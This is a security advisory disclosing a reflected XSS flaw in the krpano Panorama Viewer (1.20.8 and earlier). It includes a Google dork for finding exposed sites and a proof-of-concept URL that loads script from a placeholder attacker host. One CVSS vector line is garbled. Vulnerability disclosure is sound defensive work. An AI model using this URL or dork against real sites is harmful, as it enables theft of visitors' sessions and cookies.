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## https://sploitus.com/exploit?id=PACKETSTORM:159477
# Exploit Title: XSS in krpano Panorama Viewer  
# Google Dork: inurl:krpano.html  
# Date: 10/05/2020  
# Exploit Author: Adriano Marcio Monteiro (@adrianomarcmont)  
# Exploit Author Site: https://www.brztec.com  
# Exploit Author E-mail: adriano@brztec.com  
# Exploit Author Packetstorm Bio:  
https://packetstormsecurity.com/files/author/11063/  
# Vendor Homepage: https://krpano.com/  
# Software Link: https://krpano.com/download/  
# Version: <=1.20.8  
# Tested on: All  
# CVE : Requested  
# CVSS Severity: Medium  
# CVSS Score: 6.1  
# CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N  
# CVSS Link:  
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N  
  
# Disclosure Policy: 90-day deadline has expired and no response from the  
vendor.  
  
*XSS in **krpano Panorama Viewer *  
CVSS Severity: *Medium*  
CVSS Score: *6.1*  
CVSS Vector:  
CVSS:3.0/AV:N/AC:L/PRCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N:N/UI:R/S:C/C:L/I:L/A:N  
<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N>  
  
*Description*  
krpano Panorama Viewer <=1.20.8 is vulnerable to a Reflected Cross-Site  
Scripting (XSS) vulnerability caused by improper validation of user  
supplied input when loading remote js and XML files in the default  
installation (krpano.html).  
  
*Impact*  
A remote attacker could exploit this vulnerability using a specially  
crafted URL to execute a script in a victim's Web browser within the  
security context of the hosting Web site, once the URL is clicked or  
visited. An attacker could use this vulnerability to steal the victim's  
cookie-based authentication credentials, force malware execution, user  
redirection and others.  
  
*Steps to Reproduce*  
Exploit example, from documentation tutorials:  
http://VICTIM_SITE/krpano.html?html5=only&preview.type=grid()&plugin[test].url=https://ATTACKER_SITE/labs/krpano/krpano.js&plugin[test].align=center&plugin[test].onclick=dosomething(hello,plugin)&onstart=showlog();  
  
*Fix*  
Block remote load of js and XML files. Contact the vendor.  
  
*References*  
CWE-79: Improper Neutralization of Input During Web Page Generation  
('Cross-site Scripting')  
https://cwe.mitre.org/data/definitions/79.html  
  
  
Best Regards./Atenciosamente.  
  
*Adriano Márcio Monteiro*  
Offensive Security Specialist  
adriano@brztec.com  
+55 31 99255-3329 <+55+31+99255-3329>  
  
  
https://www.brztec.com <https://www.brztec.com/>  
*Saiba das suas fraquezas antes do hackers.*  
*Know your weaknesses before hackers.*  
Pentests, Social Engineering, Training and Recruitment.  
*BRASIL *contato@brztec.com +55 31 4042-7029 <+55+31+4042-7029>  
*U.S.A. *contact@brztec.com +1 480 404-7029 <+1+480+404-7029>  
  
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